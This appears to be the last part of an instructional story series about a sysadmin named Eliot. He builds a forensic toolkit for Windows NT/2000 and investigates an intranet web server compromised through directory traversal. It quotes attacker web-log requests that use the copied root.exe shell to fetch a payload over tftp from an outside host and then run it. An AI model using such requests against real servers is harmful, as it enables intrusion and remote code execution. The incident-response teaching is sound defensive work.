|
Introduction
This is the fifth and final installment of a five-part series describing the (mis)adventures of a sysadmin named Eliot and his haphazard journey in discovering "The Way" of incident response. As we left off last time, Eliot had started putting together a toolkit to help with incident response and analysis. He had had an opportunity to give the kit a quick test and had been satisfied with the results, but the toolkit was not quite finished.
Part Five
Eliot rubbed his eyes. Staring at the computer screen for too long, especially when looking at plain text for an extended period, tired his eyes and gave him a headache. Of all the times to ingest caffeine in any form, this was most definitely not one of them. Sure he'd get the rush, the increased heart rate, the burst of energy, and the creative, intuitive surge that came with it. But he'd also exacerbate his headache, making things much worse as he came down off of that artificial but oh-so-familiar high.
What was he looking for again? Better yet, what was he looking at? Stare at something long enough, he thought, and you lose track of your objective, time...everything. Then he remembered, he was looking at text logs from an FTP server. A friend of his, another admin, had sent him a zipped archive of the logs from his FTP server, asking Eliot to take a look at them. It seems that they'd started having trouble with the system, and found that not only were response times to the system being severely degraded, but they'd suddenly lost of six gigabytes of drive space. A closer look at the files, buried in a directory structure under the word "tagged", showed that they were portions of pirated movies. Unfortunately, Eliot's friend hadn't sent any of those movies, just the log files.
Eliot was going through the files by date, starting with the most recent one. The more recent log files were considerably larger than the older ones, due to the fact that they showed the activity of all the people who had logged into the server to download the files. This was most likely the cause of the degradation of service: with so many people accessing the server and retrieving these huge files, Eliot was surprised that it had taken almost ten days for anyone to report the problem. It was easy to find the first day, when the original person logged into the server - it could have been a script - and created the directory structure. In fact, Eliot was pretty sure it was a script, judging by the fact that the commands appeared on the server far too quickly to have been typed by hand.
As Eliot went further and further back, one log file at a time, he could see the activity where the normal users logged in, but he could also see where someone had been scanning for vulnerable servers. It was always the same activity, though from different IP addresses. The scan would log in using the anonymous account, send "ie@user" as the password, then create and then delete a directory. The response codes from these commands showed that they had succeeded, indicating that the FTP server was configured to allow anonymous users the ability to write to the drive. This was extremely distressing: it meant that the system hadn't been "hacked", but that the admins had been careless.
Eliot's headache threatened to split his head in half at the thought of telling his friend what he'd found. But there it was, the facts spoke for themselves. There was just no way around it.
Over the past several days, Eliot had made great strides in pulling together his personal administrator's toolkit. His primary focus had been to find tools that would extract information from systems that were potentially compromised. After reading several Web sites and reviewing public lists about forensics, Eliot had figured that it would be best to copy all of his tools to a CD. This would prevent them from being altered or infected with a virus from the "victim" system. Surprisingly, as he was gathering his tools, Eliot came to a realization. He was trying to find tools to help him pull information from Windows systems, but he was finding that the most suitable tools were command line tools - they didn't have a graphical user interface. The GUI tools were great, but the only way to save the information they displayed was to either copy it by hand, or save it to a file. Saving the information to a file would alter the environment that he was trying to investigate. Not even screen captures would work: some of the tools displayed a lot of information, with the associated scrollbars, and the capture would have to be saved someplace on the victim system.
Eliot had read an article that showed how to use the program netcat to copy information from a Solaris system to another computer on the network, where that information was saved. He'd tried the same techniques on NT and 2K systems, and found that they worked rather well. However, they only worked with command line tools, ones that wrote their results to standard output (STDOUT). Eliot had run several successful tests, not only sending the output of commands from one system to another, but also copying files without having to log into the remote system and map a drive.
One concern that Eliot had early on in his testing was the fact that he was sending this information to another system in plain text. He'd assumed this, and then downloaded and installed Ethereal onto a 2K system and verified it. Ethereal did a great job of capturing packets, and also had a feature that allowed him to select a packet in the capture, and then reassemble the entire stream. He'd thought that if one system on the network had been compromised, others might have been as well. At the very least, he needed a way to encrypt the data as it went across the network.
He'd found the solution at an obscure site called Farm9 Intrusion Prevention, Detection, and Response. These guys had taken the source code for netcat and added encryption to it. It was essentially the same program as netcat, with Blowfish encryption added. The program was called cryptcat. By renaming the program to "cc", Eliot could simply replace the "nc" for netcat in all his commands. Setting up the server became:
c:\>cc -L -p 7070 > c:\securedata\netstat.log
Sending the output from netstat -an, when running the command from the CD-ROM drive on the "victim" system, to the forensics workstation became:
d:\>netstat -an | cc 192.168.0.1 7070
Using tools like netstat.exe from a "clean" system, fport.exe from FoundStone, and handle.exe, listdlls.exe, pslist.exe, and psinfo.exe from SysInternals, Eliot could collect a great deal of information from a system. One thing he'd found, though, was that these five tools, as useful as they were, provided a lot of information - almost too much. Handle.exe gave all the handles a process had open: files, events, threads,everything. Not only that, but the tool provided the user context in which the process was executing. Listdlls.exe provided not only the DLLs the process depended on, but also the command line used to launch the process. Pslist.exe provided a listing of all processes, and fport.exe provided a process-to-port mapping. Eliot found that for NT and 2K systems, these tools provided a pretty comprehensive view of what was happening on a system. The challenge was to manage all of the information that these tools created. At first, Eliot had printed out the information and laid the papers out on a table, and went through the pages one process at a time, but there had to be a better way. A quicker way.
After quite a bit of searching, Eliot found what he was looking for. He came across a Perl script called procdmp.pl that did exactly what he wanted, it correlated and consolidated the data from these five tools. The script created an HTML file containing a listing of each process, with the user context, command line, open files, and open ports and connections of each process in a nice, neat table. By running this script against the output he collected from the tools, Eliot could quickly and easily determine if there were any suspicious processes running on the system. If there were, he'd have a consolidated listing of the necessary information to make a decision about what to do next. If he needed more information, well, he had the output files to refer to.
He'd used the Perl script several times in determining what was happening on a system. He'd initially redirected the output of the tools that he'd burned to CD to files on a diskette, but then later used netcat and cryptcat to get the data off of the "victim" system. Once he'd run the procdmp.pl script and had the information he needed, he'd had plenty of hard data to help him decide what to do next.
In most cases, the issues were fairly innocuous, spyware or foistware (software that surreptitiously installs hidden components on the unwitting user's system) installed when a user loaded some other program on their system. One he'd found was called WebHancer. A Web search showed that this little beauty would monitor the Web pages that the user visited, and recorded the pages the user requested, as well as how long it took the page to download. That same search told him that he couldn't simply uninstall the software, because it somehow messed with the DLL that allowed Windows computers to access networks. Eliot barely understood this, since he was more of a scripter than a programmer, but the hairs on the back of his neck stood on end when he read this information. Fortunately, when he read on, he found that a program called AdAware can detect and remove this program, as well as several others. AdAware seemed to be updated fairly frequently, to keep up with new bits of spyware, so Eliot didn't burn this one to CD. He kept the latest copy of the installation program and updated reference file in a directory, and simply copied them to diskette when he needed to use them.
Things had been pretty quiet, giving Eliot time to add to his toolkit. He found useful utilities in the Resource Kit for Windows 2000 from Dynawell Web services. Auditpol.exe allowed an administrator to manage the audit configuration on a system, and verify those settings later. Eliot found it useful to run the command to determine which events were being audited on the system. Drivers.exe provided a list of installed drivers on the system. Local.exe enumerated local users on the system and global.exe enumerated the global users. Eldump.exe dumped EventLog entries to the screen. Diruse.exe provided a listing of the disk usage for a directory tree. Pulist.exe enumerated the processes and the user context under which they ran. There was one tool that Eliot found extremely useful, whoami.exe. This tool would display the context and privileges of the user logged into the system. With this information, Eliot could get an idea whether the user had escalated his privileges, or added privileges such as "act as part of the operating system."
He found other useful tools at the SysInternals site, such as psinfo.exe, psservice.exe, psloglist.exe, autoruns.exe and strings.exe. The FoundStone site provided utilities for looking at systems and files, such as bintext.exe, afind.exe and sfind.exe. Lads.exe from HeySoft.de was the best tool for detecting and enumerating NTFS alternate data streams that Eliot had found so far.
With these tools on a CD, Eliot felt that he was ready for just about anything. He also felt more than a little confident about his abilities, given how quickly he'd resolved issues he's already run across. That's exactly how he felt when he got a call from an admin by the name of Elizabeth. Elizabeth did system administration work for HR, and worked with Cynthia. Mostly, she did helpdesk sorts of things, but she also managed the HR portion of the company intranet. Over the past couple of months, the HR site had grown from a simple contact list with phone numbers to a complete site containing policies, forms, links to the sites that hosted various benefits, everything HR had available could be accessed or downloaded if an employee couldn't make it into the main office. Eliot had worked with Elizabeth in the past, but hadn't seen her much since the HR content had been moved to it's own internal Web server, which was now part of Elizabeth's duties to manage.
Elizabeth had told him that she'd seen something strange on the Web server. When Eliot pressed her for more information, she'd said that she'd seen an unusual entry in the Security EventLogs on the system. It seems she'd enabled auditing for Process Tracking, checking the boxes for both successful and failed events, in order to troubleshoot a problem she was having. After she'd figured out what was going on, she'd forgotten to disable the settings. However, yesterday she'd looked at the entries in the Security EventLog and found an event ID of 592 that she didn't recognize. The data for the entry contained the text:
A new process has been created: New Process ID: 2162584928 Image File Name: \Inetpub\Scripts\lb.exe Creator Process ID: 2223771680 User Name: IUSR_HRWEB
Elizabeth said that the file listed in the EventLog entry was still on the system. She'd run a "dir" command to confirm it. However, she hadn't taken any further actions, and had opted to call Eliot instead. Eliot locked his workstation, grabbed his CD of tools and a couple of diskettes, and headed to Elizabeth's office.
When he got to Elizabeth's office, the door was ajar, so he knocked and pushed it open.
"Hey, Beth."
"Eliot! Glad you were free. I didn't want to do anything with the server until you had a chance to take a look at it," she said.
"Thanks, I appreciate it."
Her office was a small room with a desk, her laptop, and a row of three servers along one wall. There wasn't a lot of room, and Eliot had to sit on the edge of her desk just to get close to the servers.
"Which one is it?" Eliot asked.
"The one on the right, with the HRWEB sticker on it," she replied.
The command prompt was still open on the screen for the system. Elizabeth had been completely accurate in what she'd said. She'd left the system exactly as it was when she'd confirmed the existence of the suspicious file. The Event Viewer was still minimized on the Task Bar.
What to do, Eliot thought? He hadn't faced a situation like this one before. Fortunately, the HR Web server wasn't a critical system, and could be taken down and reloaded, if necessary. But formatting the drive and reinstalling everything from CD, installing service packs and patches, and then all of the content could take a while. Eliot wanted to avoid that sort of thing, if possible. If he could show that this wasn't a system-level compromise (one in which administrator, or greater, access had been obtained by an external intruder), he could save Elizabeth a considerable amount of time.
He opened the Event Viewer and looked at the entries. He found the entry that Elizabeth had told him about, as well as two others that showed processes had been created. One mentioned a file called "Statistics.exe", located in the directory "c:\program files\winnt\manual". The other was called "teamscan32.exe" and was located in the same directory. Unfortunately, Eliot had no way of knowing which events that stated that a "process had been exited" applied to which of the processed that had been created. However, all three of the processes had been created under the username "IUSR_HRWEB", which, if he remembered correctly, was an account with about the same privileges as the Guest account. He was relieved to see that none of them had been created under the Administrator or System accounts.
Eliot figured it was about time to use the tools he'd collected. He put the CD in the drive, and changed to the drive in the command prompt. The first thing he did was run pslist.exe to get a listing of the processes currently running on the server. He saw "statistics" running with a PID of 1040, but didn't see the other two processes. He also ran fport.exe, "netstat -an" (he'd been sure to copy netstat.exe to the CD), pulist.exe, and listdlls.exe. First, he ran the commands to see what they'd show, and then reran them, redirecting their output to files on the diskettes. Since the Security EventLogs contained some useful information, he used psloglist.exe from SysInternals to copy the contents of the logs to diskette. He also copied the Web server logs for the day the event occurred to diskette, and ran a series of 'dir' commands on the Winnt subdirectory in 'Program Files' to preserve the MAC times of the files and directories:
dir /tc /s "c:\program files\winnt" > a:\create.txt dir /ta /s "c:\program files\winnt" > a:\access.txt dir /tw /s "c:\program files\winnt" > a:\written.txt
On a whim, Eliot decided to see if there was an entry for "statistics.exe" in Registry. He used reg.exe from Microsoft to enumerate the contents of the "Run" key. To his surprise, he found exactly what he was looking for, an entry that pointed to "statistics.exe", launching it on system startup. He then ran keytime and found that the last time the Registry key had been modified coincided with the time the process called "lb.exe" was created.
Eliot collected up his diskettes, thanked Elizabeth for her time, and headed back to his office. After going through the files he'd collected for an hour or so, he drafted an e-mail to Elizabeth, letting her know what she needed to do to recover the system. From what he saw, there didn't seem to be any significant issues on the system. From the Web server logs, it was clear that the directory transversal exploit had been used to copy the command interpreter to the scripts directory, then copy the file "lb.exe" on the server using tftp.exe, and finally execute it:
GET /scripts/root.exe /c+tftp+-i+10.1.1.15+GET+lb.exe+lb.exe GET /scripts/root.exe /c+lb.exe
The netstat output he collected showed a connection to a remote server on port 6667, which Eliot had determined was used by IRC. The output of fport showed that statistics.exe was using the local port on that connection. So this was some kind of program that communicated on IRC. Eliot had no idea what information the program had communicated to the IRC server so far, so he told Elizabeth to use Task Manager to kill the process, then remove the Registry entry for the "Run" key, and delete the directory structure that had been created. He also told her that she should remove the file "root.exe" from the "\scripts" directory, patch the Web server against the directory transversal exploit, and at least move executables like tftp.exe to another directory.
Conclusion: Final Thoughts
Over the course of this series, our friend Eliot has developed a toolkit, as well as a skillset, for handling incidents that occur to NT/2K systems. Furthermore, his experiences have shown the necessity of developing a well thought-out incident response policy prior to the occurence of incidents. Hopefully, his experiences have shown the reader what sorts of things are possible when it comes to handling incidents on these systems and what sorts of preparations should be undertaken to ensure proper, effective incident response.
To read Part Six of this series, please click here.
|